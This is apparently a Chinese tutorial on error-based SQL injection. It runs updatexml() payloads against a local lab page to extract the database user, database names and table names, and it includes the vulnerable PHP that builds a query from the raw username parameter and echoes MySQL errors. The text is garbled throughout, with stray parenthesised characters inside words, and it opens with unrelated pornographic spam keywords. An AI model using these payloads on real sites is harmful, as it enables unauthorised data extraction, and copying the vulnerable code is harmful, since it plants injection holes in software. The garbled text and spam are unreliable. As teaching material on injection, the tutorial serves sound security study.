欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Web安全解析報(bào)錯注入攻擊原理

 更新時(shí)間:2021年11月02日 14:51:10   作者:Phanton03167  
這篇文章主要為大家介紹了Web安全解析報(bào)錯注入攻擊的原理,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

1.報(bào)錯注入攻擊

報(bào)錯注入攻擊的測試地址:http://127.0.0.1/sqli/error.php?username=1。

訪問該網(wǎng)址時(shí),頁面返回ok,如圖28所示。

 

圖28 訪問username=1時(shí)頁面的的結(jié)果

訪問http://127.0.0.1/sqli/error.php?username=1',因?yàn)閰?shù)username的值是1',在數(shù)據(jù)庫中執(zhí)行SQL時(shí),會因?yàn)槎嗔艘粋€(gè)單引號而報(bào)錯,輸出到頁面的結(jié)果如圖29所示。

 

圖29 訪問username=1'時(shí)頁面的的結(jié)果

通過頁面返回結(jié)果可以看出,程序直接將錯誤信息輸入到了頁面上,所以此處可以利用報(bào)錯注入獲取數(shù)據(jù)。報(bào)錯注入有多種格式,此處利用函數(shù)updatexml()延時(shí)SQL語句獲取user()的值,SQL語句如下所示。

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

Updatexml()函數(shù):Updatexml(xml_target,xpath_expr,new_xml)

xml_target:需要操作的xml片段

xpath_expr:需要更新的xml路徑(Xpath格式)

new_xml:更新后的內(nèi)容

其中0x7e是ASCII編碼,解碼結(jié)果為~,如圖30所示。

 

圖30 利用updatexml獲取user()

然后嘗試獲取當(dāng)前數(shù)據(jù)庫的庫名,如圖31所示,語句如下所示。

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 

圖31 利用updatexml獲取database()

接著可以利用select語句繼續(xù)獲取數(shù)據(jù)庫中的庫名、表名和字段名,查詢語句與Union注入的相同。因?yàn)閳?bào)錯注入只顯示一條結(jié)果,所以需要使用limit語句。構(gòu)造的語句如下所示。

' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

結(jié)果如圖32所示,以此類推,可以獲取所有數(shù)據(jù)庫的庫名。

 

圖32 利用報(bào)錯注入獲取數(shù)據(jù)庫名

如圖33所示,構(gòu)造查詢表的語句,如下所示,可以獲取數(shù)據(jù)庫test的表名。

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+

 

圖33 利用報(bào)錯注入獲取數(shù)據(jù)庫表名

2.報(bào)錯注入代碼分析

在報(bào)錯注入頁面中,程序獲取GET參數(shù)username后,將username拼接到SQL語句中,然后到數(shù)據(jù)庫查詢。如果執(zhí)行成功,技術(shù)處ok;如果出錯,則通過echo mysqli_error(@&con)將錯誤信息輸出到頁面(mysqli_error返回上一個(gè)MySQL函數(shù)的錯誤),代碼如下所示。

<?php
$con=mysqli_connect("localhost","root","root","test");
// 檢測連接
if (mysqli_connect_errno())
{
    echo "連接失敗: " . mysqli_connect_error();
}
$username = @$_GET['username'];
$sql = "select * from users where `username`='".$username."'";

if($result = mysqli_query($con,$sql))
{
    echo "ok";
}
else
{
    echo mysqli_error($con);
}

?>

輸入username=1'時(shí),SQL語句為select *from users where `username`=‘1'。執(zhí)行時(shí),會因?yàn)槎嗔艘粋€(gè)單引號而報(bào)錯。利用這種錯誤回顯,我們可以通過floor()、updatexml()等函數(shù)將要查詢的內(nèi)容輸出到頁面上。

以上就是Web安全解析報(bào)錯注入攻擊原理的詳細(xì)內(nèi)容,更多關(guān)于Web安全報(bào)錯注入攻擊的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評論